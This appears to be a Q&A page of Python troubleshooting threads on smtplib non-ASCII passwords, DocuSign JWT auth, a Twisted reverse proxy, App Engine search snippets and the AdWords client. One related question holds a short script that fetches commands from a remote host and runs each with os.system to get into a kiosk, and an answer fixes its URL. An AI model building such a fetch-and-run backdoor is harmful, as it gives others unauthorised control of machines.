I am using django 3.0.8 and in my settings.py, I've specified the password for my e-mail account using EMAIL_PASSWORD = '...'. My password contains umlauts and upon manually sending a mail from the shell I get this error:
>>> from django.core.mail import send_mail
>>> send_mail('Django mail', 'This e-mail was sent with django', ..., fail_silently=False)
Traceback (most recent call last):
File "/usr/lib/python3.6/code.py", line 91, in runcode
exec(code, self.locals)
File "<console>", line 1, in <module>
File "/home/admin/.local/lib/python3.6/site-packages/django/core/mail/__init__.py", line 60, in send_mail
return mail.send()
File "/home/admin/.local/lib/python3.6/site-packages/django/core/mail/message.py", line 276, in send
return self.get_connection(fail_silently).send_messages([self])
File "/home/admin/.local/lib/python3.6/site-packages/django/core/mail/backends/smtp.py", line 102, in send_messages
new_conn_created = self.open()
File "/home/admin/.local/lib/python3.6/site-packages/django/core/mail/backends/smtp.py", line 69, in open
self.connection.login(self.username, self.password)
File "/usr/lib/python3.6/smtplib.py", line 721, in login
initial_response_ok=initial_response_ok)
File "/usr/lib/python3.6/smtplib.py", line 630, in auth
response = encode_base64(initial_response.encode('ascii'), eol='')
UnicodeEncodeError: 'ascii' codec can't encode character '\xe4' in position 19: ordinal not in range(128)
If I remove the umlaut everything works as it should. Apparently smtplib manually encodes with ascii and I don't know how to tell it not to. Any ideas?
This is a known issue in smtplib.
As for now, July 2020 its is still open, with the fix awaiting review.
Bottom line - there is a problem, it is known, there is no official solution.
And yet, what you can do for now:
Manually patch the file /usr/lib/python3.6/smtplib.py the way it is done here - it is very simple, just replace ascii with utf-8 in 3 places. I didn't try it but it works according to other users. Just backup the file just in case. Or use a virtual env with a patched smtplib.py. To be honest I personally didn't test it but people report it working.
Use some alternative to smtplib. I actually don't know anything like this in native Python, however you can always use command line utilities like mail via python subprocess module, or some web services that provide mailing service via REST API (there are plenty, but this will not work if you are using mail on local company network or something).
Change your password and forget about the problem.
Related
I have a script that is supposed to read a text file from a remote server, and then execute whatever is in the txt file.
For example, if the text file has the command: "ls". The computer will run the command and list directory.
Also, pls don't suggest using urllib2 or whatever. I want to stick with python3.x
As soon as i run it i get this error:
Traceback (most recent call last):
File "test.py", line 4, in <module>
data = urllib.request.urlopen(IP_Address)
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 222, in urlopen
return opener.open(url, data, timeout)
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 509, in open
req = Request(fullurl, data)
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 328, in __init__
self.full_url = url
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 354, in full_url
self._parse()
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 383, in _parse
raise ValueError("unknown url type: %r" % self.full_url) ValueError: unknown url type: 'domain.com/test.txt'
Here is my code:
import urllib.request
IP_Address = "domain.com/test.txt"
data = urllib.request.urlopen(IP_Address)
for line in data:
print("####")
os.system(line)
Edit:
yes i realize this is a bad idea. It is a school project, we are playing red team and we are supposed to get access to a kiosk. I figured instead of writing code that will try and get around intrusion detection and firewalls, it would just be easier to execute commands from a remote server. Thanks for the help everyone!
The error occurs because your url does not include a protocol. Include "http://" (or https if you're using ssl/tls) and it should work.
As others have commented, this is a dangerous thing to do since someone could run arbitrary commands on your system this way.
Try
“http://localhost/domain.com/test.txt"
Or remote address
If local host need to run http server
I am trying to use the Docusign Rest API and attempted to follow the sample code on the Python SDK on Github here: https://github.com/docusign/docusign-python-client. I've replaced the necessary values with those obtained from Docusign (keys, urls etc) but the example seems to break down at the following line:
api_client.configure_jwt_authorization_flow(private_key_filename, oauth_base_url, integrator_key, user_id, 3600)
Before then, the code takes the given information and creates the url to authenticate as I understand it. I've manually accessed this link and it seems to work; it asks me for permission to allow the program to act on my behalf and then redirects me to the redirect uri with a code added to the uri. My problem is that when it executes the next line (the one I posted above), it results in this:
Traceback (most recent call last):
File "<ipython-input-40-84847e506c37>", line 1, in <module>
runfile('C:/Users/santi/Desktop/docusign/untitled0.py', wdir='C:/Users/santi/Desktop/docusign')
File "C:\Users\santi\Anaconda3\lib\site-packages\spyder\utils\site\sitecustomize.py", line 705, in runfile
execfile(filename, namespace)
File "C:\Users\santi\Anaconda3\lib\site-packages\spyder\utils\site\sitecustomize.py", line 102, in execfile
exec(compile(f.read(), filename, 'exec'), namespace)
File "C:/Users/santi/Desktop/docusign/untitled0.py", line 501, in <module>
api_client.configure_jwt_authorization_flow(private_key_filename, oauth_base_url, integrator_key, user_id, 3600)
File "C:\Users\santi\Anaconda3\lib\site-packages\docusign_esign\api_client.py", line 126, in configure_jwt_authorization_flow
post_params=self.sanitize_for_serialization({"assertion": assertion, "grant_type": "urn:ietf:params:oauth:grant-type:jwt-bearer"}))
File "C:\Users\santi\Anaconda3\lib\site-packages\docusign_esign\api_client.py", line 430, in request
body=body)
File "C:\Users\santi\Anaconda3\lib\site-packages\docusign_esign\rest.py", line 244, in POST
body=body)
File "C:\Users\santi\Anaconda3\lib\site-packages\docusign_esign\rest.py", line 200, in request
raise ApiException(http_resp=r)
ApiException: (400)
Reason: Bad Request
HTTP response headers: HTTPHeaderDict({'Cache-Control': 'private', 'Content-Type': 'text/html', 'X-AspNetMvc-Version': '5.2', 'X-DocuSign-TraceToken': '15fb83c2-9054-4522-b5ed-b77646fe1c4b', 'X-DocuSign-Node': 'DA2DFE4', 'Date': 'Sun, 05 Aug 2018 19:35:12 GMT', 'Content-Length': '11'})
HTTP response body: b'Bad Request'
I've googled the problem and found some similar errors on here but none that helped me out much. Following the traceback takes me into the api_client.py and rest.py files but I wasn't able to decipher much. In the end the origin in the error seems to be in line 200 of rest.py where an exception is raised because a value unknown to me is not within the proper range. I'm not sure what is causing the bad request on my end. Has anyone had a similar experience or might know what the issue is? I'd appreciate it a lot, thanks.
I was getting exactly the same error at the same line.
The account specific inputs to api_client.configure_jwt_authorization_flow() are:
the private_key_filename (which is processed correctly to get a JWT token)
the oauth_base_url (which is hard coded in the example as
"account-d.docusign.com")
the integrator_key (copy-pasted from my account)
the user_id
It turns out that the user_id value should the API Username code. That fixed the problem. I found the answer here:
DocuSign Python SDK - API Exception 400 - 'Bad Request'
Hope it solves your problem too!
I need a simple reverse proxy for Python 3.
I like Twisted and its simple reverse http proxy (http://twistedmatrix.com/documents/14.0.1/_downloads/reverse-proxy.py) ...
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.
"""
This example demonstrates how to run a reverse proxy.
Run this example with:
$ python reverse-proxy.py
Then visit http://localhost:8080/ in your web browser.
"""
from twisted.internet import reactor
from twisted.web import proxy, server
site = server.Site(proxy.ReverseProxyResource('www.yahoo.com', 80, ''))
reactor.listenTCP(8080, site)
reactor.run()
.... but it throws error in Python 3.
Unhandled Error
Traceback (most recent call last):
File "/usr/local/lib/python3.4/dist-packages/twisted/protocols/basic.py", line 571, in dataReceived
why = self.lineReceived(line)
File "/usr/local/lib/python3.4/dist-packages/twisted/web/http.py", line 1752, in lineReceived
self.allContentReceived()
File "/usr/local/lib/python3.4/dist-packages/twisted/web/http.py", line 1845, in allContentReceived
req.requestReceived(command, path, version)
File "/usr/local/lib/python3.4/dist-packages/twisted/web/http.py", line 766, in requestReceived
self.process()
--- <exception caught here> ---
File "/usr/local/lib/python3.4/dist-packages/twisted/web/server.py", line 185, in process
resrc = self.site.getResourceFor(self)
File "/usr/local/lib/python3.4/dist-packages/twisted/web/server.py", line 791, in getResourceFor
return resource.getChildForRequest(self.resource, request)
File "/usr/local/lib/python3.4/dist-packages/twisted/web/resource.py", line 98, in getChildForRequest
resource = resource.getChildWithDefault(pathElement, request)
File "/usr/local/lib/python3.4/dist-packages/twisted/web/resource.py", line 201, in getChildWithDefault
return self.getChild(path, request)
File "/usr/local/lib/python3.4/dist-packages/twisted/web/proxy.py", line 278, in getChild
self.host, self.port, self.path + b'/' + urlquote(path, safe=b"").encode('utf-8'),
builtins.TypeError: Can't convert 'bytes' object to str implicitly
Is there something similar that works in python 3?
Having stumbled into this problem myself, I was disappointed to find no answer here. After some digging, I was able to get it working by changing the path argument in proxy.ReverseProxyResource to bytes rather than str, rendering the following line:
site = server.Site(proxy.ReverseProxyResource("www.yahoo.com", 80, b''))
This is necessary because twisted appends a trailing slash as bytes (ie b'/') internally.
I found this simple package on pypi, it seems to be working well and it is similarly simple.
https://pypi.python.org/pypi/maproxy
I'm crawling pages and indexing them with appengine search api (Spanish and Catalan pages, with accented characters). I'm able to perform searches and make a page of results.
Problem arises when I try to use a query object with snipetted_fields, as it always generates a UnicodeEncodeError:
File "/home/otger/python/jobs-gae/src/apps/search/handlers/results.py", line 82, in find_documents
return index.search(query_obj)
File "/opt/google_appengine_1.7.6/google/appengine/api/search/search.py", line 2707, in search
apiproxy_stub_map.MakeSyncCall('search', 'Search', request, response)
File "/opt/google_appengine_1.7.6/google/appengine/api/apiproxy_stub_map.py", line 94, in MakeSyncCall
return stubmap.MakeSyncCall(service, call, request, response)
File "/opt/google_appengine_1.7.6/google/appengine/api/apiproxy_stub_map.py", line 320, in MakeSyncCall
rpc.CheckSuccess()
File "/opt/google_appengine_1.7.6/google/appengine/api/apiproxy_rpc.py", line 156, in _WaitImpl
self.request, self.response)
File "/opt/google_appengine_1.7.6/google/appengine/ext/remote_api/remote_api_stub.py", line 200, in MakeSyncCall
self._MakeRealSyncCall(service, call, request, response)
File "/opt/google_appengine_1.7.6/google/appengine/ext/remote_api/remote_api_stub.py", line 234, in _MakeRealSyncCall
raise pickle.loads(response_pb.exception())
UnicodeEncodeError: 'ascii' codec can't encode character u'\xf3' in position 52: ordinal not in range(128)
I've found a similar question on stackoverflow: GAE Full Text Search development console UnicodeEncodeError but it says that it was a bug fixed on 1.7.0. I get same error either using version 1.7.5 and 1.7.6.
When Indexing pages I add two fields: description and description_ascii. If I try to generate snippets for description_ascii it works perfectly.
Is this possible to generate snippets of not ascii contents on dev_appserver?
I think this is a bug, reported new defect issue https://code.google.com/p/googleappengine/issues/detail?id=9335.
Temporary solution for dev server - locate google.appengine.api.search module (search.py), and patch function _DecodeUTF8 by adding inline if like this:
def _DecodeUTF8(pb_value):
"""Decodes a UTF-8 encoded string into unicode."""
if pb_value is not None:
return pb_value.decode('utf-8') if not isinstance(pb_value, unicode) else pb_value
return None
Workaround - until the issue is solved implement snippet functionality yourself - assuming field which is base for snippet is called snippet_base:
query = search.Query(query_string=query_string,
options=
search.QueryOptions(
...
returned_fields= [... 'snippet_base' ...]
))
results = search.Index(name="<index-name>").search(query)
if results:
for res in results.results:
res.snippet = some_snippeting_function(res.field("snippet_base"))
Is there an up-to-date tutorial available for using the Python adwords client, or failing that does anyone know enough to unpick the following? Have I made some configuration error, or perhaps is Python 2.6 unsupported?
On Windows I've installed:
Python 2.6
setuptools-0.6c11.win32-py2.6.exe
PyXML-0.8.4
SOAPpy-0.12.4
ZSI-2.0-rc3
adwords_api_python_13.2.0
I've supplied the AdWords config program with the MCC account email address, its password, blank client email and id, and for the developer token the same email address with "+USD" appended.
Now, if I use SOAPpy as the SOAP library, I get an exception about an unexpected keyword parameter timeout, which has been supplied by one function in SOAPpy to another function in SOAPpy.
If I use ZSI as the SOAP library (which I believe is preferred), I get the following exception:
Traceback (most recent call last):
File "tutorial.py", line 36, in <module>
campaigns = campaign_service.Mutate(operations)[0]
File "c:\Python26\lib\site-packages\adspygoogle\adwords\CampaignService.py", l
ine 112, in Mutate
'Campaign', self._loc, request)
File "c:\Python26\lib\site-packages\adspygoogle\adwords\AdWordsWebService.py",
line 256, in CallMethod
self.__ManageSoap(buf, start_time, stop_time, error)
File "c:\Python26\lib\site-packages\adspygoogle\adwords\AdWordsWebService.py",
line 130, in __ManageSoap
raise Error(e)
adspygoogle.common.Errors.Error:
Traceback (most recent call last):
File "c:\Python26\lib\site-packages\adspygoogle\common\WebService.py", line 20
8, in CallMethod
eval('service.%s(request)' % method_name))
File "<string>", line 1, in <module>
File "c:\Python26\lib\site-packages\adspygoogle\adwords\zsi\v201008\CampaignSe
rvice_services.py", line 47, in mutateCampaign
self.binding.Send(None, None, request, soapaction="", **kw)
File "build\bdist.win32\egg\ZSI\client.py", line 267, in Send
self.SendSOAPData(soapdata, url, soapaction, **kw)
File "build\bdist.win32\egg\ZSI\client.py", line 301, in SendSOAPData
self.h.send(soapdata)
File "c:\Python26\lib\site-packages\adspygoogle\common\zsi\HttpsConnectionHand
ler.py", line 93, in send
httplib.HTTPSConnection.endheaders(self)
File "c:\Python26\lib\httplib.py", line 892, in endheaders
self._send_output()
File "c:\Python26\lib\httplib.py", line 764, in _send_output
self.send(msg)
File "c:\Python26\lib\site-packages\adspygoogle\common\zsi\HttpsConnectionHand
ler.py", line 93, in send
httplib.HTTPSConnection.endheaders(self)
File "c:\Python26\lib\httplib.py", line 890, in endheaders
raise CannotSendHeader()
CannotSendHeader [RAW DATA: _________________________________ Tue Mar 08 16:54:4
0 2011 REQUEST:
followed by some XML, which I've modified to remove identifying data:
<SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xm
lns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ZSI="http://www.z
olera.com/schemas/ZSI/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Header><RequestHeader xmlns
="https://adwords.google.com/api/adwords/cm/v201008"><authToken>XYZ</authToken>
<userAgent>AwApi-Python-13.2.0|XYZ</userAgent><developerTok
en>XYZ#gmail.com+USD</developerToken></RequestHeader></SOAP-ENV:Header><SO
AP-ENV:Body xmlns:ns1="https://adwords.google.com/api/adwords/cm/v201008"><ns1:m
utate xmlns:ns1="https://adwords.google.com/api/adwords/cm/v201008"><ns1:operati
ons><ns1:operator>ADD</ns1:operator><ns1:operand><ns1:name>Interplanetary Cruise
#201138165440485000</ns1:name><ns1:status>PAUSED</ns1:status><ns1:endDate>20120
101</ns1:endDate><ns1:budget xsi:type="ns1:Budget"><ns1:period>DAILY</ns1:period
><ns1:amount xsi:type="ns1:Money"><ns1:microAmount>50000000</ns1:microAmount></n
s1:amount><ns1:deliveryMethod>STANDARD</ns1:deliveryMethod></ns1:budget><ns1:bid
dingStrategy xsi:type="ns1:ManualCPC"></ns1:biddingStrategy></ns1:operand></ns1:
operations></ns1:mutate></SOAP-ENV:Body></SOAP-ENV:Envelope>
My code is below:
from adspygoogle.adwords.AdWordsClient import AdWordsClient
from adspygoogle.common import Utils
client = AdWordsClient(path = '../../installers/adwords_api_python_13.2.0.tar/adwords_api_python_13.2.0')
campaign_service = client.GetCampaignService('https://adwords-sandbox.google.com', 'v201008')
operations = [{
'operator': 'ADD',
'operand': {
'name': 'Interplanetary Cruise #%s' % Utils.GetUniqueName(),
'status': 'PAUSED',
'biddingStrategy': {
'type': 'ManualCPC'
},
'endDate': '20120101',
'budget': {
'period': 'DAILY',
'amount': {
'microAmount': '50000000'
},
'deliveryMethod': 'STANDARD'
}
}
}]
campaigns = campaign_service.Mutate(operations)[0]
# Display results.
for campaign in campaigns['value']:
print ('Campaign with name \'%s\' and id \'%s\' was added.'
% (campaign['name'], campaign['id']))
print
print ('Usage: %s units, %s operations' % (client.GetUnits(),
client.GetOperations()))
Note that the tutorial code at http://code.google.com/apis/adwords/docs/tutorial.html doesn't even slightly work, there's no such thing as aw_api.Client in the current version of the client. But the above is mostly copied from the tutorial.
The examples provided with the client result in the same error.
I could try an older client library if the current one is simply broken, although if it makes any difference, I will need one that supports TargetingIdeaService.
[Edit: oh, sorry, I forgot to say that I actually edited the AdWords client code. In Utils.GetDataFromCsvFile, I removed .replace(':','|') from the line that constructs the file url passed to urllib.urlopen.
This is what makes me suspect that my version of Python might not be supported, since Windows Python 2.6 didn't seem able to open the url file:///c|/foo/bar/baz/]
Have you tried with ZSI-2.0? This issue report looks similar to http://code.google.com/p/google-api-adwords-python-lib/issues/detail?id=141. Please append your info to the bug report, if you continue to see this issue.
As for tutorial code being out of date, good catch! I'll have it fixed shortly. Please track at http://code.google.com/p/google-api-adwords-python-lib/issues/detail?id=152.